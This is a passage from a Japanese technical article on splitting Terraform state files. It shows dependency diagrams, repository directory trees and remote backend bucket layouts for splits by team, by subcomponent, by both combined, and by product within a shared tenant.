├── \uD83D\uDCC2 stg/│ └── \uD83D\uDCC2 prd/│├── \uD83D\uDCC2 healthchecks/│ ├── \uD83D\uDCC2 tes/│ │ └── terraform.tfstate # Tes環境のHealthchecksの状態を持つ│ ││ ├── \uD83D\uDCC2 stg/│ └── \uD83D\uDCC2 prd/│└── \uD83D\uDCC2 pagerduty/ ├── \uD83D\uDCC2 tes/ │ └── terraform.tfstate # Tes環境のPagerDutyの状態を持つ │ ├── \uD83D\uDCC2 stg/ └── \uD83D\uDCC2 prd/09. 中間層の分割 (任意)中間層の分割について中間層の分割は 任意 です。Terraformに携わる管理者が多くなるほど、効力を発揮します。運用チーム責務範囲別 - ★★この分割方法について運用チーム (例：アプリチーム、インフラチーム) のAWSリソースの責務範囲別でtfstateファイルを分割し、中間層もこれに基づいて設計します。この分割方法により、各運用チームが互いに影響を受けずに、terraformコマンドの結果を得られるようになります。AWS CloudFormation best practices - AWS CloudFormationTerraform in Action (English Edition)AWSドキュメント・著名な書籍で紹介されています\uD83D\uDC40Terraformに携わるチームが複数ある非常に大規模なプロダクトほど効力を発揮します。実際に私も現在進行形で採用しており、非常に実用的と考えています。【チーム別】状態の依存関係図例えば、以下の運用チームに分割した状況と仮定します。frontendチーム (アプリのフロントエンド領域担当)backendチーム (アプリのバックエンド領域担当)sreチーム (インフラ領域担当)ここで仮定した状況では、各チームが管理する tfstate ファイル間で状態が相互に依存しているとします。AWSリソース間の相互依存ではないため、循環参照は起こりません。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: 運用チーム責務範囲別---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket frontend[\\"frontend-team-tfstate
(CloudFront, S3, など)\\"] backend[\\"backend-team-tfstate
(API Gateway, ElastiCache, RDS, SES, SNS, など)\\"] sre[\\"sre-team-tfstate
(ALB, CloudWatch, EC2, ECS, EKS, IAM, VPC, など)\\"] frontend-..->sre backend-..->sre sre-..->frontend sre-..->backend end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【チーム別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合この場合では、運用チーム責務範囲別に分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-frontend-team-repository/ # frontendチーム├── output.tf # 他の tfstate ファイルから依存される├── provider.tf├── remote_state.tf # terraform_remote_state ブロックを使用する├── cloudfront.tf├── s3.tf├── \uD83D\uDCC2 tes/ # Tes環境│ ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/ # Stg環境│ ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する ...\uD83D\uDC31 aws-backend-team-repository/ # backendチーム├── output.tf # 他の tfstate ファイルから依存される├── provider.tf├── remote_state.tf # terraform_remote_state ブロックを使用する├── elasticache.tf├── ses.tf├── sns.tf├── rds.tf├── \uD83D\uDCC2 tes│ ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg│ ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する ...\uD83D\uDC31 aws-sre-team-repository/ # sreチーム├── output.tf # 他の tfstate ファイルから依存される├── provider.tf├── remote_state.tf # terraform_remote_state ブロックを使用する├── alb.tf├── cloudwatch.tf├── ec2.tf├── ecs.tf├── eks.tf├── iam.tf├── vpc.tf├── \uD83D\uDCC2 tes│ ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg│ ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する ...▼ 同じリポジトリの場合この場合では、運用チーム責務範囲別に分割したtfstateファイルを、異なるリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-repository/├── \uD83D\uDCC2 frontend-team # frontendチーム│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── cloudfront.tf│ ├── s3.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 backend-team # backendチーム│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── elasticache.tf│ ├── ses.tf│ ├── sns.tf│ ├── rds.tf│ ├── \uD83D\uDCC2 tes│ │ ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg│ │ ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd│ ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 sre-team # sreチーム ├── provider.tf ├── output.tf # 他の tfstate ファイルから依存される ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── alb.tf ├── cloudwatch.tf ├── ec2.tf ├── ecs.tf ├── eks.tf ├── iam.tf ├── vpc.tf ├── \uD83D\uDCC2 tes │ ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg │ ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する ...【チーム別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合運用チーム責務範囲別の場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、プロバイダーアカウント別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 frontend-team│ └── terraform.tfstate # frontendチームの状態を持つ│├── \uD83D\uDCC2 backend-team│ └── terraform.tfstate # backendチームの状態を持つ│└── \uD83D\uDCC2 sre-team └── terraform.tfstate # sreチームの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...プロダクトのサブコンポーネント別 - ★★この分割方法についてプロダクトのサブコンポーネント (例：アプリ、ネットワーク、認証/認可、監視、など) 別でtfstateファイルを分割し、中間層もこれに基づいて設計します。この分割方法により、サブコンポーネントの管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。11 Things I wish I knew before working with Terraform – part 1Terraform organization — Part I : What if you split your components ? | by Amine Charot | Mediumコンポーネントは、分けようと思えばいくらでも細分化できてしまいます。細分化した数だけterraform_remote_stateブロック地獄になっていくため、適切な数 (3〜5個くらい) にしておくように注意が必要です。この分割方法は、後述のAWSリソースの種類グループとごっちゃになってしまう場合があるため、プロダクトのサブコンポーネントとして意識的に分割させる必要があります\uD83D\uDC4D【サブコンポーネント別】状態の依存関係図例えば、以下のサブコンポーネントに分割した状況と仮定します。application (Web3層系)auth (認証/認可系)monitor (監視系)network (ネットワーク系)ここで仮定した状況では、各プロダクトの tfstate ファイルの依存は一方向最終的に、networkサブコンポーネントやauthサブコンポーネントの tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: プロダクトのサブコンポーネント別---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket application[\\"application-tfstate
Web3層と周辺AWSリソース
(ALB, APIGateway, CloudFront, EC2, ECS, EKS, RDS, S3, SNS, など)\\"] auth[\\"auth-tfstate
(IAMなど)\\"] monitor[\\"monitor-tfstate
(CloudWatch, など)\\"] network[\\"network-tfstate
(Route53, VPC, など)\\"] application-..->network application-..->auth monitor-..->application end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【サブコンポーネント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合プロダクトのサブコンポーネント別の分割パターンの場合、異なるリポジトリで管理するとリポジトリが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリポジトリの場合この場合では、プロダクトのサブコンポーネント別に分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-repository/├── \uD83D\uDCC2 application/│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ├── alb.tf│ ├── cloudfront.tf│ ├── ec2.tf│ ├── ecs.tf│ ├── eks.tf│ ├── ses.tf│ ├── sns.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 auth/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── iam.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 monitor/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── cloudwatch.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 network ├── provider.tf ├── output.tf # 他の tfstate ファイルから依存される ├── route53.tf ├── vpc.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する ...【サブコンポーネント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合プロダクトのサブコンポーネント別の分割パターンの場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、プロダクトのサブコンポーネント別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 application│ └── terraform.tfstate # applicationコンポーネントの状態を持つ│├── \uD83D\uDCC2 auth│ └── terraform.tfstate # authコンポーネントの状態を持つ│├── \uD83D\uDCC2 monitor│ └── terraform.tfstate # monitorコンポーネントの状態を持つ│└── \uD83D\uDCC2 network └── terraform.tfstate # networkコンポーネントの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...運用チーム責務範囲別 \xd7 プロダクトサブコンポーネント別 - ★この分割方法について運用チーム責務範囲別とプロダクトサブコンポーネント別を組み合わせてtfstateファイルを分割し、中間層もこれに基づいて設計します。この分割方法により、各運用チーム内のサブコンポーネントの管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。【チーム別 \xd7 サブコンポーネント別】状態の依存関係図以下の運用チームに分割した状況と仮定します。また、各運用チームでTerraformを変更できる管理者が相当数するため、プロダクトのサブコンポーネント別にも分割したとします。frontendチームapplicationmonitorbackendチームapplicationmonitorsreチームapplicationauthmonitornetworkここで仮定した状況では、各プロダクトのtfstateファイルの依存は一方向最終的に、sreチームの管理する tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: 運用チーム責務範囲別 \xd7 プロダクトサブコンポーネント別---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket subgraph frontend-team frontendApplication[\\"application-tfstate
(CloudFront, S3, など)\\"] frontendMonitor[\\"monitor-tfstate
(CloudWatch, など)\\"] end subgraph backend-team backendApplication[\\"application-tfstate
(API Gateway, ElastiCache, RDS, SES, SNS, など)\\"] backendMonitor[\\"monitor-tfstate
(CloudWatch, など)\\"] end subgraph sre-team sreApplication[\\"application-tfstate
Web3層と周辺AWSリソース
(ALB, EC2, ECS, EKS, SNS, など)\\"] auth[\\"auth-tfstate
(IAM, など)\\"] sreMonitor[\\"monitor-tfstate
(CloudWatch, など)\\"] network[\\"network-tfstate
(Route53, VPC, など)\\"] end frontendApplication-...->network sreApplication-...->auth sreApplication-...->network backendApplication-...->auth backendApplication-...->network frontendMonitor-...->frontendApplication sreMonitor-...->sreApplication backendMonitor-...->backendApplication end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【チーム別 \xd7 サブコンポーネント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合この場合では、運用チーム責務範囲別とプロダクトサブコンポーネント別を組み合わせて分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-frontend-team-repository/├── \uD83D\uDCC2 application/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── cloudfront.tf│ ├── ses.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # frontendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # frontendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # frontendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 monitor/ ├── provider.tf ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── cloudwatch.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # frontendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # frontendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # frontendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する ...\uD83D\uDC31 aws-backend-team-repository/├── \uD83D\uDCC2 application/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── api_gateway.tf│ ├── elasticache.tf│ ├── rds.tf│ ├── ses.tf│ ├── sns.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # backendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # backendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # backendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 monitor/ ├── provider.tf ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── cloudwatch.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # backendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # backendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # backendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する ...\uD83D\uDC31 aws-sre-team-repository/├── \uD83D\uDCC2 application/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── alb.tf│ ├── ec2.tf│ ├── ecs.tf│ ├── eks.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # sreチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # sreチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # sreチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 auth/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── iam.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # sreチームが管理するauthコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # sreチームが管理するauthコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # sreチームが管理するauthコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 monitor/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── cloudwatch.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # sreチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # sreチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # sreチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 network ├── provider.tf ├── output.tf # 他の tfstate ファイルから依存される ├── route53.tf ├── vpc.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # sreチームが管理するnetworkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # sreチームが管理するnetworkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # sreチームが管理するnetworkコンポーネントの状態を持つ tfstate ファイルを指定する ...▼ 同じリポジトリの場合運用チーム責務範囲別とプロダクトサブコンポーネント別を組み合わせる分割パターンの場合、同じリポジトリで管理するとリポジトリが巨大になってしまいます。そのため、これはお勧めしません。【チーム別 \xd7 サブコンポーネント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合運用チーム責務範囲別とプロダクトサブコンポーネント別を組み合わせる分割パターンの場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、運用チーム責務範囲別とプロダクトサブコンポーネント別を組み合わせて分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 frontend-team│ ├── \uD83D\uDCC2 application│ │ └── terraform.tfstate # frontendチームが管理するapplicationコンポーネントの状態を持つ│ ││ └── \uD83D\uDCC2 monitor│ └── terraform.tfstate # frontendチームが管理するmonitorコンポーネントの状態を持つ│├── \uD83D\uDCC2 backend-team│ ├── \uD83D\uDCC2 application│ │ └── terraform.tfstate # backendチームが管理するapplicationコンポーネントの状態を持つ│ ││ └── \uD83D\uDCC2 monitor│ └── terraform.tfstate # backendチームが管理するmonitorコンポーネントの状態を持つ│└── \uD83D\uDCC2 sre-team ├── \uD83D\uDCC2 application │ └── terraform.tfstate # sreチームが管理するapplicationコンポーネントの状態を持つ │ ├── \uD83D\uDCC2 auth │ └── terraform.tfstate # sreチームが管理するauthコンポーネントの状態を持つ │ ├── \uD83D\uDCC2 monitor │ └── terraform.tfstate # sreチームが管理するmonitorコンポーネントの状態を持つ │ └── \uD83D\uDCC2 network └── terraform.tfstate # sreチームが管理するnetworkコンポーネントの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...同じテナント内のプロダクト別この分割方法について同じテナント (例：同じAWSアカウントの同じVPC) 内に複数の小さなプロダクトがある場合、プロダクト別でtfstateファイルを分割し、中間層もこれに基づいて設計します。ここでいうプロダクトは、アプリを動かすプラットフォーム (例：EKS、ECS、AppRunner、EC2) とそれを取り巻くAWSリソースを指しています。この分割方法により、各プロダクトの管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。AWSの設計プラクティスとしてプロダクトごとにVPCを分けた方がよいため、この分割方法を採用することは少ないかもしれません。ただ現実として、各プロダクトの使用するIPアドレス数が少なく、またプロダクト別にVPCを分割するのが煩雑という現場はあります\uD83D\uDE2D【同じテナント内のプロダクト】状態の依存関係図例えば、以下のプロダクトに分割した状況と仮定します。fooプロダクトbarプロダクト共有networkコンポーネント (例：VPC、Route53)ここで仮定した状況では、各プロダクトの tfstate ファイルの依存は一方向最終的に、共有networkコンポーネントの tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: 同じテナント内のプロダクト---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket foo-product[\\"foo-product-tfstate
(アプリを動かすプラットフォームのAWSリソース)\\"]-..->network bar-product[\\"bar-product-tfstate
(アプリを動かすプラットフォームのAWSリソース)\\"]-..->network network[\\"network-tfstate
(Route53, VPC)\\"] end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【同じテナント内のプロダクト】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合この場合では、同じテナント内のプロダクトに分割したtfstateファイルを、異なるリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。# fooプロダクトの tfstate ファイルのリポジトリ\uD83D\uDC31 aws-foo-product-repository/├── provider.tf├── remote_state.tf # terraform_remote_state ブロックを使用する├── \uD83D\uDCC2 tes/ # Tes環境│ ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/ # Stg環境│ ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する ...# barプロダクトの tfstate ファイルのリポジトリ\uD83D\uDC31 aws-bar-product-repository/├── provider.tf├── remote_state.tf # terraform_remote_state ブロックを使用する├── \uD83D\uDCC2 tes/ # Tes環境│ ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/ # Stg環境│ ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する ...# 共有networkコンポーネントの tfstate ファイルのリポジトリ\uD83D\uDC31 aws-network-repository/├── output.tf # 他の tfstate ファイルから依存される├── provider.tf├── route53.tf├── vpc.tf├── \uD83D\uDCC2 tes/ # Tes環境│ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/ # Stg環境│ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する ...▼ 同じリポジトリの場合この場合では、同じテナント内のプロダクトに分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83D\uDC31 aws-repository/├── \uD83D\uDCC2 foo-product/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 bar-product/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 network ├── provider.tf ├── output.tf # 他の tfstate ファイルから依存される ├── route53.tf ├── vpc.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する ...【同じテナント内のプロダクト】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合同じテナント内のプロダクトの場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、同じテナント内のプロダクトに分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 foo-product│ └── terraform.tfstate # fooプロダクトの状態を持つ│├── \uD83D\uDCC2 bar-product│ └── terraform.tfstate # barプロダクトの状態を持つ│└── \uD83D\uDCC2 network └── terraform.tfstate # networkコンポーネントの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...AWSリソースの種類グループ別この分割方法についてAWSリソースの種類グループ別でtfstateファイルを分割し、中間層もこれに基づいて設計します。この分割方法により、各AWSリソースの種類グループも管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。AWSリソースの種類グループは、分けようと思えばいくらでも細分化できてしまいます。細分化した数だけterraform_remote_stateブロック地獄になっていくため、適切な数 (3〜5個くらい) にしておくように注意が必要です。特にこの分割方法は、グループ数がどんどん増えていく可能性があります\uD83D\uDE07【種類グループ別】状態の依存関係図例えば、以下の種類グループに分割した状況と仮定します。application (Webサーバー、Appサーバー系)auth 